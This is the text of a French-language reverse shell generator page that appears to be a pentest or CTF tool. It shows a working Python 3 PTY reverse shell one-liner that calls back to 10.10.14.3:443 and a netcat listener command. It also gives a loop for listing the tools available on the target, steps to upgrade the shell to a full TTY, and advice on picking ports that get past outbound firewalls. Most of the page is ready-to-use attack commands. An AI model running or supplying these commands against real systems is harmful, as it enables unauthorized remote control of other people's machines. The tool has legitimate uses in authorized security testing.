Générateur de reverse shell
Endpoint de callback
10.10.14.3:443IP
Port
443 et 80 passent la plupart des pare-feu sortants ; les ports hauts atypiques sont souvent bloqués.
Commande d'écoute
Commande à exécuter
$nc -lvnp 443Profil de la cible
OS cible
Architecture CPU
Accès sortant
Outils disponibles sur la cible
Laissez les outils non sélectionnés si vous n'êtes pas sûr de ce qui existe sur la cible.
Pas sûr ? Lancez ceci sur la cible pour lister les outils disponibles et leurs chemins complets :
$for b in sh bash python3 python perl ruby node php nc ncat socat openssl curl wget awk; do p=$(command -v "$b" 2>/dev/null || ls /usr/bin/$b /bin/$b /usr/local/bin/$b /usr/sbin/$b /sbin/$b 2>/dev/null | head -1); [ -n "$p" ] && echo "$b: $p"; doneMode
Runtime / outil
Chemin du shell
Haute compatibilité 100%Totalement interactif — un TTY à l'arrivée.
Technique10 / 138
Callback TCP reversemulti
Python 3 PTY · multi · Reverse shell Python 3 qui spawn le shell sélectionné via pty.
Transformation
Seules les transformations compatibles sont affichées.
Sortie de commande
$python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'Écouteur
$nc -lvnp 443+ Pas installé ? Installer l'outil du listener
sudo apt install netcat-openbsd # macOS: brew install netcatAmélioration de session
Recette d'amélioration
Remplacez la taille fixe par les dimensions de votre terminal : stty rows $(tput lines) columns $(tput cols)
Étapes d'amélioration
$python3 -c 'import pty; pty.spawn("/bin/sh")' || python -c 'import pty; pty.spawn("/bin/sh")' $Ctrl-Z $stty raw -echo; fg $reset $export TERM=xterm-256color $stty rows 40 columns 120
Nettoyage de session
Assistant de nettoyage
Étapes de nettoyage
$export SHELL=/bin/sh $export TERM=xterm-256color $export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH $alias ll='ls -la'